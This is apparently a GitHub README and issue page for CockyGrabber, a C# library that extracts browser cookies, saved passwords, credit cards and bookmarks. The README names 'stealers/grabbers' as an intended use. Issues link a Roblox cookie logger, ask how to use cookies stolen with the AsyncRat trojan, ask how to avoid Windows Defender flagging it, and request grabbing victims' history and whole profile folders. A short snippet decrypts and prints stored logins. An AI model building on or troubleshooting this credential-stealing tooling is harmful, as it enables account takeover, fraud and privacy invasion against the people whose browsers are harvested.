C# library for the collection of browser information such as cookies, logins, bookmarks and more

CockyGrabber

CockyGrabber is a C# library that simplifies the collection of browser information such as cookies, logins, bookmarks, credit cards and more. It is also very easy to use and allows you to capture browser information without any special knowledge.

It can be used as a base for your projects like browser information viewers, stealers/grabbers, and more as long as the user/manufacturer of the product using CockyGrabber agrees that the developer(s) of CockyGrabber will not be held responsible for any kind of harm done as it is published for educational purposes and has informational value for browser security research.

CockyGrabber remains discontinued as an active project but maintained as a passion project that may receive occasional updates in the future!
If you got requests or find any bugs, please open an Issue!

2. The Addition of asynchronous funtions
3. Custom functionality replacing the libraries and packages used by CockyGrabber
4. The creation of a minimalized file that anyone can easily implement in their Project without referencing CockyGrabber itself OR a VS project solution fully set up with all libraries installed, including Cockygrabber, ready to use.
5. Constant improvement of the documentation
6. Support for more browsers
7. Addition of events (maybe)
8. Eventually migrating from .NET Framework v.4.8 to the newest version of .NET

That's it for now.
I hope you like this little project! ^^

cockygrabber's Issues

Windows Defender Reports as Trojan

As soon as I compile and run, Windows Defender reports the EXE file as a Trojan. I think this is likely a false positive. MS doesn't like us tinkering around with SQLite files from other applications. Anyone have any idea how to make Windows Defender NOT report this?

How do I format cookies like that (netscape type formatting)?

.google.com TRUE / FALSE 1671900542 AEC AakniGNIFMwgF1eKJNFD6vtQPXYaNnGdY6KyhFY1LK4JqWoP6yh

How can I format cookies in this format?

Please Help!

When im using the grabber, it gives me this error:

System.IO.FileNotFoundException: 'Could not load file or assembly 'System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=***********'. The system cannot find the file specified.'

Thanks.

Grabbing cookies doesn't work.

I understand what the error means, but the thing is I cannot edit it or fix it since it takes no overloads. Could someone help me ?|

The gecko profile directory couldn't be found: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles

if i add error handling, its not gonna crash, but its not gonna get the cookies either

tried this code:

https://github.com/MoistCoder/CockyGrabber/blob/main/Examples/RobloxCookieLogger.cs

Passwords are still encrypted (Chrome/Opera grabber)

When I try to read the passwords from either chrome or opera, it still returns encrypted passwords as seen here (partially censored them to be safe):

This is the code I am using

OperaGrabber grabber = new OperaGrabber(); // Create Grabber
var logins = grabber.GetLogins(); // Collect all Logins with GetLogins()

// Print the Origin(URL), Username value and Password value of every Login:
foreach (Blink.Login login in logins) // Brave is Blink based so it uses Blink.Login
{
    string loginUrl = login.OriginUrl;
    string loginUsername = login.UsernameValue;
    string loginPassword = login.PasswordValue;
    Console.WriteLine($"URL {loginUrl}\nUSERNAME {loginUsername}\nPASSWORD {loginPassword}\n===================================");
}

Console.ReadLine();

Using CockyGrabber 2.2.0 btw

Feature Request: .NET Core and Mac support

Is it possible to convert this to .NET Core and make it run on a Mac? Thoughts?

System.IO.DirectoryNotFoundException

I just added the code from the example to my project and when I run it I get this error - System.IO.DirectoryNotFoundException: "Could not find part of the path "C:\Users\PC\AppData\Roaming\Mozilla\Firefox\Profiles"."
I only have Chrome browser installed on my computer.

Change JavaScriptConverter to JsonConvert.DeserializeObject

Subject: Request for Enhancements in CokyGrabber: .NET Core Support and Librewolf Integration

Hello,

I am reaching out regarding the functionality of CockyGrabber for extracting bookmarks from Librewolf (Gecko). I have encountered an issue with the current project's lack of support for .NET Core, as I intend to utilize it with .NET 6 or a higher version. Upon using your NuGet package, an error was triggered due to the absence of the file containing "System.Web.Script.Serialization;". To overcome this obstacle, I resorted to manually copying your source code and change it for my usage.

I am kindly requesting the following enhancements to enhance compatibility and functionality:

1. Replace the JavascriptConverter with JsonConvert.DeserializeObject to facilitate support for dynamic JSON objects in .NET Core:

using Newtonsoft.Json;
dynamic json = JsonConvert.DeserializeObject(File.ReadAllText(profile + BookmarkPath));

2. Incorporate Librewolf support in the UniversalGrabber feature of CockyGrabber:

public class LibrefoxGrabber : GeckoGrabber
{
    public override string ProfileDirPath => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\librewolf\\Profiles";
}

3. I believe there may be an error in the documentation regarding the implementation of your own GeckoGrabber, where the base class should not be the BlinkGrabber:
   Link to documentation correction

Thank you for considering these requests.

Help!

I'm having trouble using these cookies recovered using AsyncRat
can't import using any cookie manager
can't convert them
any idea on how to use them in bulk not one by one

How do I format cookies into JSON?

I noticed you have a JSON class but I'm not sure how to use it.

Add exceptions for GeckoNotFound and BlinkNotFound for UniversalGrabber

Title says it all. Just removing the exception of when gecko or blink isnt found can also do the job tho.

SQLite.Interop.dll was not found

wth

Feature Request: Grab Extensions & Extensions Data folders

This would be a great addition to the Grabber and will allow you to add their extensions and extension settings.

Hell, why not just grab the whole User Data folder 😂

I know it could be a large file, but most of us have gigabit connections and can handle it. 👍

I'll try to contribute as much as I can, but I work 60 hours a week, plus I try to do freelance work in my free time to earn some extra money.

But thanks for taking over this project and continuing it, because I think it has a lot of potential.

Chromium Password Grabbers not working

Hello,
I am unable to use the Chromium Password Grabbers. They only returned empty lists, but I saw that a caught exception was triggered in the debug output, so I forced breaking at that exception.

This is the exception. "The value can not be null. Parameter: source"
pPlainText.pbData's value is 0x00000000, and as it is a IntPtr, its a nullptr.

Might this be some incompatibility with Windows 11? Maybe the Win32 APIs changed?

Cookie formating

How to format cookies like this?

Chrome Profiles, no Default anymore

Some Update ago Chrome changed every Directory.

Chrome created on Default a new Profile and stores the Data inside the Profile

Regex: ^Profile [1-999]$

Some Paths Changes (Password, Cookies, Bookmarks etc)

New Paths:
Local State -> User Data\Local State
Cookies -> Profile 1\Network\Cookies
Bookmarks -> Profile 1
Login Data -> Profile 1
Top Sites -> Profile 1
History -> Profile 1

Maybe i Push an Update

GeckoGrabber & BlinkGrabber are Unreachable.

I'm getting this error when trying to build the application:

2>CSC : error CS2001: Source file 'C:\Users\myname\Desktop\CockyGrabber-main\CockyGrabber\CockyGrabber\EngineGrabbers\GeckoGrabber.cs' could not be found.

2>CSC : error CS2001: Source file 'C:\Users\myname\Desktop\CockyGrabber-main\CockyGrabber\CockyGrabber\EngineGrabbers\BlinkGrabber.cs' could not be found.

Nothing has been changed in the code or folder.
Anything that could be causing this? And how to fix? Thanks.

Feature Request: Grab Bookmarks & Browsing History

You can learn a lot from a users browsing history as well as their Bookmarks, because often times, users will use the OAuth2 "Sign-up Google" or some "Sign-up with GitHub account" instead of manually creating an account, and those do not get added to the Saved Passwords database. When you can grab their browsing history and bookmarks, then you can see a lot more.

YandexBrowser Not Working! Error in GetKey() method of BlinkGrabber

Google Chrome Local State: "os_crypt":{"encrypted_key":
YandexBrowser Local State: "os_crypt":{"checker_state": "counter":0,"encrypted_data":"blabla="},"encrypted_key":

The regular expression in the GetKey() method is written incorrectly. Might be worth using json decoding to solve this.

System.IO.FileNotFoundException Assembly "System.Web.Extensions" could not be loaded

Visual studio keeps saying the error might be because I'm using .net6.0 and not .net4, checked if I had all the nuget packages installed and I did, so if you think this is a problem with visual studio then I'll downgrade but not totally sure yet. Help would be greatly appreciated.

Possible to make exe?

Is this meant to build a .dll file? When I change it to build an exe file via properties, it has this error:

Error: CS5001	Program does not contain a static 'Main' method suitable for an entry point	CockyGrabber	C:\Users\myname\Desktop\CockyGrabber\CockyGrabber\CSC	1	Active

It's only successful when I build it as a .dll file, not for console window app or exe.

When using BlinkGrabber dosent send any info but using BraveGrabber gets data

Same thing here! Title says it all
